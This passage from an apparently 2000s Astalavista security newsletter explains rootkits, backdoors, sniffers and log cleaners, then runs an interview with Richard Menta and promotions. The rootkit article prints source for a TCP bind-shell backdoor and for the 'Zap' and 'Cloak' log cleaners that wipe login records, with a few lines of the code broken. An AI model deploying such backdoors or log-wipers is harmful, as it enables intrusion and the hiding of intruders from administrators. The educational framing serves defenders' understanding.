A Kernel rootkit is a rootkit that buries itself deep in the Kernel.
This makes it extremely hard to detect and remove. Kernel rootkits are more advanced than
Application rootkits, A Kernel rootkit works by exploiting and manipulating various Kernel
capabilities. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are
used to load device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker
can perform malicious activity.

Kernel rootkits are more dangerous than Application rootkits because instead of just replacing
the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate system-calls
like open() and read(). As we know application rootkits replace binaries; if the administrator was
clever and analyzed the actual binaries which had been replaced, they will realize the differences
in size (e.g. the program could contain an extra 128 bytes). However, this wouldn't be possible with
Kernel rootkits because instead of actually changing the size and structure of the program, they just
change the way the program operates. For example programs like "ps" use an open system call "open()" and
reads information from files in the directory /proc, where also the information about running processes
is kept.

How the Kernel Works

What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of the OS
(Linux, Unix, Windows). Without the Kernel an Operating System could not load.

The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it's
staying in the main memory, its *very* important for the Kernel to be as small as possible, but at the same
time be able to provide all the essential programs, services, devices, applications and drivers for the OS.
Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management,
process and task management, and disk management.

The kernel looks something like this....

_ _ _ _ _ _ _ _ _
|Applications and | - LKM - System Calls
|_Programs_ _ _ _ |
* MAIN KERNEL * - Consists of: Memory Management
* * I\O Management
******************* CPU Management
| Hardware | Device Drivers
|_ _ _ _ _ _ _ _ _ |


Most of today’s (decent) rootkits contain "Backdoors". Now you should all know what a Backdoor is but
just in case you didn't I will quickly give a brief explanation of all.

Backdoor - A program or script which allows an attacker to establish some form of privilege and remote
communication without logging into the system. Backdoors are usually installed when the system has been
successfully compromised and some form of exploit has been entailed. The advantage of installing a
backdoor on a system means that the attacker doesn't have to keep using the same exploit over and over again.
The disadvantage of installing a backdoor means at one point or another the system administrator will
notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap
(coded by Fyodor http://www.insecure.org), he or she would soon uncover an open port and sooner or later
remove the backdoor.

A typical example of a Windows NT\2000 backdoor is one entitled "Tini.exe" (Made by NTSecurity)
This little program listens on port 7777 for incoming connections, once a connection has been established
a remote command shell is executed for the attacker who establishes the connection.
(Now, as I have mentioned, this t-file generally deals with *nix backdoors, so I don't really want to get
side stepped talking about windows backdoors, exploits etc.I thought I'd just mention tini.exe to give you
a general idea of what a Backdoor consists of.

Now let's talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by
Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in:

Login Backdoor - Modifying login.c to look for backdoor password before stored
password. Attacker can log into any account using backdoor password.
- Telnetd Backdoor - Trojaned the "in.telnetd" to allow attacker gain access with
backdoor password.
- Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even
"inetd" as backdoor to gain access.
- Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific time
for example at 12 midnight to 1 am.
- Library backdoors - Almost every UNIX and Windows system have shared libraries.
Shared libraries can be backdoor to do malicious activity including giving a root or
administrator access.
- Kernel backdoors - This backdoor is basically exploiting the kernel, which is core of
the operating system to handle and to hide backdoor effectively
- Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor that
Exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is
Popularly used because it communicate in encrypt, while crafting and tunneling packet
In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".

All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus,
his paper can be
found at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are
either really interested in Backdoors or you still haven’t grasped the basic concepts of Backdoors.

To finish of this section on backdoors, I will show you a basic TCP Backdoor for *nix.Credits to shaun2k2
for writing this code.


/* backdoor.c - basic unix tcp backdoor.
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
* root# nc -v hackedhost.com 1337
* I do not take responsibility for this code.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BACKLOG 5
#define SHELL "/bin/sh"

void usage();

int main(int argc, char *argv[]) {
if(argc <2) {

int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);

mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf("Could not bind socket!\n");

if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!\n");

printf("Listening for connections on port %s!\n", argv[1]);

while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);

void usage(char *progname[]) {
printf("Usage: %s <port>\n", progname);



A lot of today’s rootkits contain programs known as "Sniffers". What are Sniffers?
(Also known as Packet Sniffers)
Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCP\IP or any other
network device. I'm sure you know when you are browsing the Internet or playing online games "Packets"
of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable
information which is floating to and from your computer.

What type of valuable information?
Here is a list of what a Sniffer is capable of...

- Sniffing FTP passwords
- Sniffing Telnet passwords
- Sniffing Network passwords
- Sniffing POP3 passwords
- Capturing websites you have visited
- Sniffing Gateways
- Lots more

Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for
an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for M$ notepad)
it would only take a couple of minutes for an attacker to uncover the plain text password.

For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm
this paper was written by a "Jason Drury" and I have found it most useful. If you are more interested
in Windows Sniffers, then I recommend getting a copy of the following:

-Windows Sniffer
-Password Capture --------> Made especially to sniff passwords

My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the scripties wouldn't
go near it but for those truly interested in the elements of computer security I would recommend TCPDump,
it will take time getting used to it but its worth it.

Log cleaners

We come to something a lot more simpler, Log Bashers(Also known as Log deleters, Log killers and Log Cleaners)

No matter what the title they all do the same thing. Delete system log files. System Administrators rely
on logging as an extra form of security. Log files can keep track on who logged in last and at what type,
what programs were run as that user was logged in etc.

Here's a very simple script I made to demonstrate what I mean:


int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;


Now for those who don't know any C, then I shall explain. The first main line of the code is telling the
C program to remove the file LastEntry.log, delete it. The second line is telling the program to create
a file called LastEntry.log in the exact same location.

Some log cleaners search certain directories for words like "IP" "Login", "Logs", "Log" etc and then
delete them. Some just delete all the default log files that are in the default system location.

This is a very old log cleaner called "Zap":


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));

void kill_wtmp(who)
char *who;
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;

void kill_lastlog(who)
char *who;
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));

} else printf("%s: ?\n",who);

int argc;
char *argv[];
if (argc==2) {
} else


Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix,
and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-


/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible.. This file is for information purposes ONLY!*/

/*--> Begin source... */
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
int argc;
char *argv[];
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;

if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
printf("You are now cloaked\n");
goto start;
else {
printf("close successful\n");
else {
printf("usage: close [file to close]\n");
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);

fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);

size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);


Rootkit’s Extra Features

Some rootkits are well known for their advanced log cleaner, others for their advanced Backdoor and
others for their advanced stealth hard to remove installation procedure.
There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are
rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts,
Password crackers, Killer scripts etc

Rootkits that contain scripts that cause DDoS attacks are considered dangerous; if an attacker were to
exploit 100's of servers and install such a rootkit those servers would then become "Zombies" they could
launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being
made more advance and extra utilities are being added on each time.

Analyses of the Application Rootkit "T0rnkit"

"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the
system-logging daemon, syslogd. It then replaces several other system executables with trojanized
versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are,
among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses
these somewhat vital functions, they report normal looking information, but the processes and network
connections that the hacker uses aren't shown. Finally T0rnkit starts a Sniffer in background, enables
telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd to activate changes made and starts
syslogd again. This all without the system administrator knowing about it.

Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes.
T0rnkit usually can be found in the directory /usr/src/.puta, but,of course, not if it already has been
activated because the command 'ls' will have been replaced. With the standard installation of t0rnkit
TCP port 47017 is open for root access to the system. A modified version of this rootkit was also
distributed by a variant of Unix/Lion worm.

I hope this paper gave you an insight of what rootkits really are.

Recommended reading and useful Links:

Sunnie Hawkins, Understanding the Attackers Toolkit, January 13, 2001,URL:

Andrew R. Jones, A Review of Loadable Kernel Modules, June 12, 2001, URL:

Jason Drury, Sniffers: What are they and How to Protect From Them, November 11, 2000, URL:

DeokJo Jeon, Understanding DDOS Attack, Tools and Free Anti-tools with Recommendation,
April 7, 2001,URL: http://www.sans.org/infosecFAQ/threats/understanding_ddos.htm

Steve Gibson, The Strange Tale of the Denial OF Service Attacks Against GRC.COM, Gibson
Research Corporation, Aug 31, 2001, URL: http://grc.com/dos/grcdos.htm

Black Tie Affair, Hiding Out Under UNIX, Volume Three, Issue 25, File 6 of 11, March 25,
1989, URL: http://www.phrack.org/show.php?p=25&a=6

Christopher Klaus, Backdoors, August 4 1997, URL: http://secinf.net/info/unix/backdoors.txt

09. Home Users Security Issues

Due to the high number of e-mails we keep getting from novice users, we have
decided that it would be a very good idea to provide them with their very
special section, discussing various aspects of Information Security in an
easily understandale way, while, on the other hand, improve their current level of knowledge.
If you have questions or recommendations for the section, direct
them to security@astalavista.net Enjoy yourself!

Online Security Scanners

Online Security Scanners are getting more and more popular for the average
Internet user concerned about his/her security. This article will give you an
overview of the most popular ones, the difference between the types and it will help
you pick up the one that will best help you secure your computer.

The easy and the "freeware" nature of the online security scanners, has turned them
into a valuble service for the average Internet user, seeking for services that
will definitely enhance the security of his/her computer.

We can distinguish two types of online security scanners, namely Port Scanners
and Vulnerability Scanners.

Online Port Scanners

Usually, the port scanners offered online come with three options:

- well known ports scan
- trojans port scan
- all ports scan

The first one will save you a lot of time by scanning well known ports, while, on
the other hand, it will definitely miss a backdoor or a trojan run on a port predefined
by the attacker. The second option will scan only well known trojans ports,
however, this service is a bit outdated, the majority of trojans online, even the
old one, have an option where the attacker can change the default port and in most
of the cases it's changed. The third option attmpts to scan all the 65,535 ports
and will usually take quite a lot of time to complete, depending on your connection
speed of course.

Online Vulnerability Scanners

This is one of the most effective scanners, it tries to exploit a vulnerability
in your browser or e-mail software using a large database of previously discovered
problems with the type of software you're using.

Here, I will provide you with some of the most popular and useful online security
tests available, enjoy and get secure!


10. Meet the Security Scene

In this section you are going to meet famous people, security experts and
all the folks who in some way contribute to the growth of the community.
We hope that you will enjoy these interviews and that you will learn a lot of
interesting information through this section. In this issue we have interviewed
Richard Menta, a columnist and security expert at BankInfoSecurity.com
Your comments are appreciated at security@astalavista.net

Interview with Richard Menta http://BankInfoSecurity.com/

Astalavist: Hi Richard, I would appreciate if you introduce yourself and the web
site you represent, namely BankInfoSecurity.com

Rich: My name is Richard Menta. I work for an information security consulting firm
in NJ called Icons, Inc where I serve as a consultant and as the editor of

About 90% of the Icons's clients are banks and credit unions. These
institutions are heavily regulated regarding information security, yet
despite this fact we found many of our clients needed much more education on
the concepts of information security and the added threats and risks
presented by technology. BankInfoSecurity.com was developed to help fill
this need by aggregating the latest news and information, covering both the
technical and regulatory aspects of InfoSec.

Astalavista: What's the major difference between the security threats the financial
sector is dealing with, compared with the general security ones?

Rich: Privacy is the biggest issues with regards to financial institutions. They
are mandated by the Gramm-Leach-Bliley Act (GLBA) to protect what is called
the non-public personal information (NPPI) of their customers. The biggest
security threat comes from intruders looking to garner NPPI to facilitate
identity theft. As the relationship of financial institutions with their
customers is highly based on trust and mass identity theft undermines that
trust, it is a critical issue to control the theft of customer information.

Astalavista: E-business wouldn't be profitable without E-commerce, what do you
think are the major security problems E-shops face nowadays, how aware
of the information security issue are the managers behind them, and what do
you think can make a significant change in their mode of thinking?

Rich: The biggest security issue is the lack of awareness as a whole. A good
information security strategy takes significant effort and financial
commitment, but many senior managers are unaware of the full breadth of what
information security covers. There is a lot to grasp too as information
security is an every evolving discipline that has to rapidly change with the
changes in the threat environment.

Awareness is still an issue in the banking industry where there is a federal
examiner coming in once a year to tell management what they need to do. The
reason is because examiners have only been focused on information security
since 2001 (when the agencies started to enforce GLBA) and they are still
learning the ins and outs. It's improving, though, as examiners are visibly
becoming savvier with time and communicating more to the banks.

Dramatic change in other industries is a bit more elusive as they have no
such oversight as the banking industry does. Still, the Sarbanes-Oxley Act
looks to drive better information security because a deficient security plan
violates the due care requirements of the Act. As the act imposes criminal
penalties for faulty compliance, there will be a lot more pressure once its
tenets go into effect this fall.

Astalavista: Malicious software has always been trying to get hold of sensitive
financial information, how significant do you think is the threat from
worms like the Bizex one in future?

Rich: It is a significant problem as it goes back to the trust issue. All banks
are adopting online banking, yet you have malicious code trying to take
snapshots of your information as well as anyone else's who are in your
address book.

The FDIC recently posted a mandate that banks must have a written patch
management program consisting of several steps. The reason the agency did
this is because they realized that poorly patched systems posed a severe
threat and most financial institutions were doing an insufficient job with
regards to patch activities. Right now, the great majority of banks are
highly susceptible to these worms, as are their average customers who rarely
patch their home systems. Of course, even a great patch management program
only goes so far, especially with zero day exploits.

Astalavista: Despite the latest technology improvements and the security measures
put in place by companies, a major part of the Internet users are still
afraid to use their credit card online, who should be blamed and most
importantly, what do you think should be done to increase the number of
online customers who want to purchase a good or services but feel secure
while doing it?

Rich: Consumers are afraid for good reasons. How many prime trafficked sites have
been broken? It is embarrassing, especially when it makes the national
media. The latest technology improvements and security measures are good,
but all merchants as a whole need to impose better security on their end.
Those who don't improve measures will continue to undermine the efforts of
those who do by perpetuating the insecurity that many patrons feel with
regards to online shopping.

Again, it's a trust issue and there are a significant amount of consumers
who don't trust typing their credit card number into their browser. The good
news is that as security improves throughout online commerce consumer trust
will rise.

Astalavista: What's your opinion on companies citing California's security breach
disclosure law and notifying customers of a recent security breach?

Rich: Most companies can absorb any financial losses arising from a breach. It is
the damage to their reputation that poses the greatest risk. What is more
embarrassing than notifying your customers their information was
compromised? Not only does the customer lose trust in the company, but such
a disclosure inevitably becomes public and that can hinder the ability to
draw new customers.

So why do I think this law is good? Because there is a general apathy among
many organizations regarding their activities to properly protect their
systems. Regulation has been the greatest motivator to improve security. In
this case, forced disclosure is far more motivating than any fine.

11. Security Sites Review

The idea of this section is to provide you with reviews of various, highly interesting
and useful security related web sites. Before we recommend a site, we make sure that it provides
its visitors with quality and a unique content.


An information security web site offering, news, vulnerabilities and unique security content to its visitors


Net-Security is a daily updated news site, containing a large number of security reviews, articles and interviews


A site providing you with a huge database of Windows security related files, news and documents


Everything you need to know about how to secure your Mac


A security web site providing its visitors with the chance to participate in a Wargame

12. Astalavista needs YOU!

We are looking for authors that would be interested in writing security related
articles for our newsletter, for people's ideas that we will turn into reality with their help and for anyone who
thinks he/she could contribute to Astalavista in any way. Below we have summarized various issues that might
concern you.

- Write for Astalavista -

What topics can I write about?

You are encouraged to write on anything related to Security:

General Security
Security Basics
Windows Security
Linux Security
IDS (Intrusion Detection Systems)
Malicious Code
Enterprise Security
Penetration Testing
Wireless Security
Secure programming

What do I get?

Astalavista.com gets more than 200 000 unique visits every day, our Newsletter has more than
22,000 subscribers, so you can imagine what the exposure of your article and you will be, impressive, isn't it!
We will make your work and you popular among the community!

What are the rules?

Your article has to be UNIQUE and written especially for Astalavista, we are not interested in
republishing articles that have already been distributed somewhere else.

Where can I see a sample of a contributed article?


Where and how should I send my article?

Direct your articles to dancho@astalavista.net and include a link to your article; once we take a look
at it and decide whether is it qualified enough to be published, we will contact you within several days,
please be patient.

Thanks a lot all of you, our future contributors!

13. Astalavista Security ToolBox DVD Promotion

- Astalavista's Security ToolBox DVD - 40% Discount - 29.90 USD (including Packaging and Shipping)

Astalavista's Security Toolbox DVD is considered to be the largest and most comprehensive Information Security archive.
As always we are committed to provide you with a resource for all of your security and hacking interests,
in an interactive way! The Information found on the Security Toolbox DVD
has been carefully selected, so that you will only browse through quality information and tools.
No matter if you are a computer enthusiast, a computer geek, a newbie looking for information on "how to hack",
or an ITSecurity professional looking for quality and up to date information for offline use or just for
convenience, we are sure that you will be satisfied, even delighted by the DVD!

Main benefits:

- Extremely comprehensive -
- Very well sorted archive with detailed descriptions -
- Large archive of Ebooks never released before -
- Improved performance of the Security Toolbox, information has never been that easier to find -
- People connecting from countries with slow connections can benefit and get all the Security information at their hands -
- You will automatically become part of the new Astalavista's Promotion Service, meaning that you will receive information about promotions and special services, which is not going to be released to the public.

--> Thousands of Security Related Web Sites <--
--> Hundreds of Security Related tools and programs <--
--> Countless Security white papers and publications <--
--> Only ONE DVD <--
--> Astalavista's Security ToolBox DVD <--

14. Astalavista.net Advanced Member Portal Promotion

- April offer Save 10% until 04/30/04 $26 - 6 months Membership
- April offer Save 20% until 04/30/04 $79 - PREMIUM (Lifetime)

Astalavista.net is world known and highly respected Security Portal offering
an enormous database of very well sorted and categorized Information Security
resources, files, tools, white papers, e-books and many more.At you disposal
there are also thousands of working proxies, wargames servers where all the members
try their skills and most importantly - the daily updates of the portal.

- Over 3.5 GByte of Security Related data, daily updates and always working
- Access to thousands of anonymous proxies from all over the world, daily updates
- Security Forums Community where thousands of individuals are ready to share
their knowledge and answer your questions, replies are always received no matter
of the question asked.
- Several WarGames servers waiting to be hacked, information between those
interested in this activity is shared through the forums or via personal
messages, a growing archive of white papers containing info on previous
hacks of these servers is available as well.

The Advanced Security Member Portal

15. Final Words

We believe this issue is the best one released so far, in terms of its content and the information we've provided you with.
Thank for the nice words, keep them coming, because we want to know how we can improve our monthly newsletter.We, at Astalavista.com
will continue to provide you with this free periodical coverage of what's going on in the security world, while on the other
hand all we're asking for is - learn and get your systems secure.

Editor - Dancho Danchev

Proofreader - Yordanka Ilieva
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